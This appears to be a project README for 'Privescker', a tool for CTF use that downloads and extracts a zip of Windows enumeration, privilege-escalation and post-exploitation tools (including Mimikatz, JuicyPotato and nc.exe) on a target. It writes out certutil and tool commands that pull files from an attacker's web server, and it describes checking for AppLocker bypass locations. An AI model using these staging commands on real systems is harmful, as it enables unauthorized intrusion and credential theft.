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Privescker - make life easier by dumping all your common Windows enum, privesc and post exploitation scripts and tools on to the box in one go.

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Privescker

Advisory

All the binaries/scripts/code of Privescker should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it on your own networks and/or with the network owner's permission.


What is Privescker?

This was a tool I created to make life easier when doing CTF exercises on Windows machines. Initially I created Privescker to embed a number of binaries which would be dumped onto the target when executed. However, I thought a way of making it more customisable without recompiling every time you want a new binary I made this version posted here.

Privescker is a single binary that will download a single zip file containing all of your favourite Windows enumeration tools and scripts and then extract them on the target.

Now you may think - why bother with the binary and just extract the zip yourself?

It's not that simple. In a cmd shell it's a pain in the backside especially on older versions of Windows. PowerShell is doable but you may have instances where PowerShell is limited or not available at all.

Other things it can do

I have also built in the functionality to pass an argument and check AppLocker bypass locations to see whether you have write access to them. This is very handy when working on restrictive boxes.

privescker.exe -p

I have more planned for future released such as building your zip files and getting the latest versions of specific tools for you depending on user configs and other ideas. More to come on this in future.

The manual way

We all know the manual way of dumping files onto Windows is quite laborious, especially in older versions of Windows such as:

certutil -urlcache -f http://10.10.14.12:8000/enum.exe c:\users\public\enum.exe

Now multiply that by all the scripts, enum and post exploitation tools you want on the machine and it becomes time consuming.

The Privescker way

Once the privescker.exe binary is on the machine:

privescker.exe -u http://10.10.14.12:8000/enum-tools.zip -o c:\users\public

Then all your files you need to move to Windows will be dumped to the location you chose.

Notes

This is probably not advised on pentests as I'm sure AV will light up like a Christmas tree with all the different scripts and tools being extracted on the machine.

Usage

First you will need to get all your common and favourite tools and scripts and add them to a zip file on your attack machine (you can add subfolders within your zip if you please).

Personally here are some of the ones I have:

  • accesschk.exe
  • jaws.ps1
  • nc.exe
  • plink.exe
  • PowerUp.ps1
  • Seatbelt.exe
  • SharpHound.exe
  • SharpHound.ps1
  • Sherlock.ps1
  • Watson.exe
  • winPEAS.bat
  • winPEAS.exe
  • JuicyPotato.exe
  • PrintSpoofer.exe
  • RunAsUser.exe
  • Mimikatz.exe
  • wget.exe

The choice is yours, add what you want.

The next step is to set up a webserver on your attack box, for example:

python -m SimpleHTTPServer

Now from your Windows shell, download privescker.exe;

certutil -urlcache -f http://10.10.14.12:8000/privescker.exe c:\users\public\privescker.exe

Leaving your webserver running, just execute privescker like this to get all your favourite tools.

privescker.exe -u http://10.10.14.12:8000/enum-tools.zip -o c:\users\public

That is literally it - small simple tool to make life easier with getting all your common enumeration, privesc and post exploitation tools on the machine for you in one go.

Hope others find it helpful.

Feel free to use the Release version or compile it yourself if you prefer.

:-)

Screenshots

Help menu:

Print AppLocker writable bypass locations:

Executing the tool:

Showing the output:

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Privescker - make life easier by dumping all your common Windows enum, privesc and post exploitation scripts and tools on to the box in one go.

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